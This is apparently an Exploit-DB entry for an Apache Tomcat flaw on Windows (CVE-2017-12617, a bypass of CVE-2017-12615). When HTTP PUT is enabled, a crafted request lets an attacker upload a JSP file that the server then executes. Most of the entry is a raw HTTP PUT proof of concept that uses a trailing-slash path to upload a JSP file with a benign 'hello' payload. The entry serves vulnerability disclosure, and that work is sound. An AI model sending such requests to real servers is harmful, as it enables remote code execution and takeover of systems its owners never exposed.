# E-DB Note: https://www.alphabot.com/security/blog/2017/java/Apache-Tomcat-RCE-CVE-2017-12617.html

When running on Windows with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default to false) it was possible to upload a JSP file to the server via a specially crafted request. 
This JSP could then be requested and any code it contained would be executed by the server.

    The PoC is like this:
    
    PUT /1.jsp/ HTTP/1.1
    Host: 192.168.3.103:8080
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

    <% out.println("hello");%>

It is the bypass for CVE-2017-12615
